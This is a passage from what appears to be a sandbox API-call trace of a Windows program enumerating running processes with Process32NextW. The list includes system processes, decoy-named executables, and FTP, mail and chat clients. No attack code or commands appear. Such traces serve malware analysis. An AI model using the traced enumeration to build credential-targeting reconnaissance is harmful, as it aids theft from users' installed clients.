th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0178.422] lstrlenW (lpString="smss.exe") returned 8 [0178.422] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.422] lstrlenW (lpString="csrss.exe") returned 9 [0178.422] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0178.423] lstrlenW (lpString="wininit.exe") returned 11 [0178.423] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.423] lstrlenW (lpString="csrss.exe") returned 9 [0178.423] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0178.424] lstrlenW (lpString="winlogon.exe") returned 12 [0178.424] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0178.424] lstrlenW (lpString="services.exe") returned 12 [0178.424] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0178.424] lstrlenW (lpString="lsass.exe") returned 9 [0178.425] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.425] lstrlenW (lpString="svchost.exe") returned 11 [0178.425] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0178.425] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0178.425] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0178.426] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0178.426] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.426] lstrlenW (lpString="svchost.exe") returned 11 [0178.426] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0178.426] lstrlenW (lpString="dwm.exe") returned 7 [0178.427] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.427] lstrlenW (lpString="svchost.exe") returned 11 [0178.427] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.427] lstrlenW (lpString="svchost.exe") returned 11 [0178.427] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.428] lstrlenW (lpString="svchost.exe") returned 11 [0178.428] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.428] lstrlenW (lpString="svchost.exe") returned 11 [0178.428] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.429] lstrlenW (lpString="svchost.exe") returned 11 [0178.429] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.429] lstrlenW (lpString="svchost.exe") returned 11 [0178.429] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.429] lstrlenW (lpString="svchost.exe") returned 11 [0178.429] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.430] lstrlenW (lpString="svchost.exe") returned 11 [0178.430] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.430] lstrlenW (lpString="svchost.exe") returned 11 [0178.430] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.431] lstrlenW (lpString="svchost.exe") returned 11 [0178.431] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.431] lstrlenW (lpString="svchost.exe") returned 11 [0178.431] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0178.432] lstrlenW (lpString="audiodg.exe") returned 11 [0178.432] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0178.432] lstrlenW (lpString="sihost.exe") returned 10 [0178.432] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.432] lstrlenW (lpString="svchost.exe") returned 11 [0178.432] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0178.433] lstrlenW (lpString="taskhostw.exe") returned 13 [0178.433] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0178.433] lstrlenW (lpString="explorer.exe") returned 12 [0178.433] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0178.434] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0178.434] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0178.434] lstrlenW (lpString="Memory Compression") returned 18 [0178.434] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0178.434] lstrlenW (lpString="SearchUI.exe") returned 12 [0178.434] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0178.435] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0178.435] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0178.435] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0178.435] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0178.436] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0178.436] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0178.436] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0178.436] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0178.437] lstrlenW (lpString="migration dying locations.exe") returned 29 [0178.437] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0178.437] lstrlenW (lpString="college-advance.exe") returned 19 [0178.437] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0178.437] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0178.438] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0178.438] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0178.438] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0178.438] lstrlenW (lpString="metallic.exe") returned 12 [0178.438] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0178.439] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0178.439] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0178.439] lstrlenW (lpString="brown parade bases.exe") returned 22 [0178.439] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0178.440] lstrlenW (lpString="specified wales.exe") returned 19 [0178.440] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0178.440] lstrlenW (lpString="inspiration.exe") returned 15 [0178.440] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0178.440] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0178.440] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0178.441] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0178.441] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0178.441] lstrlenW (lpString="classbuck.exe") returned 13 [0178.441] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0178.442] lstrlenW (lpString="x-deutschland.exe") returned 17 [0178.442] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0178.442] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0178.442] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0178.442] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0178.442] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0178.443] lstrlenW (lpString="lawsuit.exe") returned 11 [0178.443] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0178.443] lstrlenW (lpString="3dftp.exe") returned 9 [0178.443] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0178.444] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0178.444] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0178.444] lstrlenW (lpString="alftp.exe") returned 9 [0178.444] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0178.444] lstrlenW (lpString="barca.exe") returned 9 [0178.445] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0178.445] lstrlenW (lpString="bitkinex.exe") returned 12 [0178.445] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0178.446] lstrlenW (lpString="coreftp.exe") returned 11 [0178.446] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0178.446] lstrlenW (lpString="far.exe") returned 7 [0178.446] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0178.447] lstrlenW (lpString="filezilla.exe") returned 13 [0178.447] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0178.448] lstrlenW (lpString="flashfxp.exe") returned 12 [0178.448] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0178.448] lstrlenW (lpString="fling.exe") returned 9 [0178.448] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0178.449] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0178.449] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0178.450] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0178.450] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0178.450] lstrlenW (lpString="icq.exe") returned 7 [0178.450] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0178.451] lstrlenW (lpString="leechftp.exe") returned 12 [0178.451] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0178.452] lstrlenW (lpString="ncftp.exe") returned 9 [0178.452] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0178.452] lstrlenW (lpString="notepad.exe") returned 11 [0178.452] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0178.453] lstrlenW (lpString="operamail.exe") returned 13 [0178.453] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0178.454] lstrlenW (lpString="pidgin.exe") returned 10 [0178.454] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0178.454] lstrlenW (lpString="scriptftp.exe") returned 13 [0178.455] Process32NextW (in: hSnapshot=0x2fc, 